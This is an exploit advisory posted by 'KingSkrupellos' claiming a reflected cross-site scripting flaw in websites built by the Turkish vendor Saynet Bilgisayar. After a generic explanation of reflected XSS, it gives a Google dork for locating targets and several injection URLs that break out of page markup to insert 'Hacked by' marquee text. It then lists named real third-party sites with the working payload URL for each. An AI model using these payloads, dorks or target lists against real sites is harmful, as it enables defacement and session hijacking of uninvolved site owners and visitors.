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# Exploit Title : Saynet Bilgisayar Cross Site Scripting
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 19/06/2019
# Vendor Homepage : say-net.com - saynet.com.tr
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-79 [ Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting') ]
# Google Dorks : intext:Saynet Bilgisayar site:tr
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Reference Link : cxsecurity.com/ascii/WLB-2019010038
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Impact - Reflected XSS Cross Site Scripting (or Non-Persistent) :
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The server reads data directly from the HTTP request and reflects it back in the
HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply
dangerous content to a vulnerable web application, which is then reflected back to the victim
and executed by the web browser. The most common mechanism for delivering malicious
content is to include it as a parameter in a URL that is posted publicly or e-mailed directly
to the victim. URLs constructed in this manner constitute the core of many phishing
schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site.
After the site reflects the attacker's content back to the victim,the content is
executed by the victim's browser. A successful exploit could allow the attacker
to execute arbitrary script code in the context of the affected site
and allow the attacker to access sensitive browser-based information.
An attacker, for example,can exploit this vulnerability to steal cookies from
the attacked user in order to hijack a session and gain access to the system.
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# XSS Cross Site Scripting Exploits and Payloads :
*******************************************************
/?Syf=21&pt=1%27"></h3></tr></td></table></tr></td>
</table></div><marquee>XSS-Vulnerability-Found-By-KingSkrupellos
/?Syf=21&pt=1%27%3Cmarquee%3E%3Cfont%20color=
lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E
/?Syf=[ID-NUMBER]&pt=1%27"></h3></tr></td></table>
</tr></td></table></div><marquee>XSS-Vulnerability-Found-By-KingSkrupellos
/?pnum=1&pt=1&pt=1%27%3Cmarquee
%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20
KingSkrupellos%3C/font%3E%3C/marquee%3E
/?SyfNmb=2&pt=1%27<marquee><font%20color=lime%20size=
32>XSS-Vulnerability-Found%20By%20KingSkrupellos</font></marquee>
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# Example Vulnerable Sites :
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[+] sahintoptangida.com.tr/?Syf=21&pt=1%27"></h3></tr></td></table></tr>
</td></table></div><marquee>XSS-Vulnerability-Found-By-KingSkrupellos
[+] tesa.com.tr/?Syf=4&pt=1%27%22%3E%3C/h3%3E%3C/tr%3E%3C/td%3E
%3C/table%3E%3C/tr%3E%3C/td%3E%3C/table%3E%3C/div%3E%
3Cmarquee%3EXSS-Vulnerability-Found-By-KingSkrupellos
[+] drnyapi.com.tr/?pnum=5&pt=1%27%22%3E%3C/h3%3E%3C/tr%3E%3C
/td%3E%3C/table%3E%3C/tr%3E%3C/td%3E%3C/table%3E%3C/div%3E
%3Cmarquee%3EXSS-Vulnerability-Found-By-KingSkrupellos
[+] abdulkadirgeylanidernegi.net/?Syf=21&pt=1%27<marquee>
<font%20color=lime%20size=32>Hacked%20by%20KingSkrupellos</font></marquee>
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
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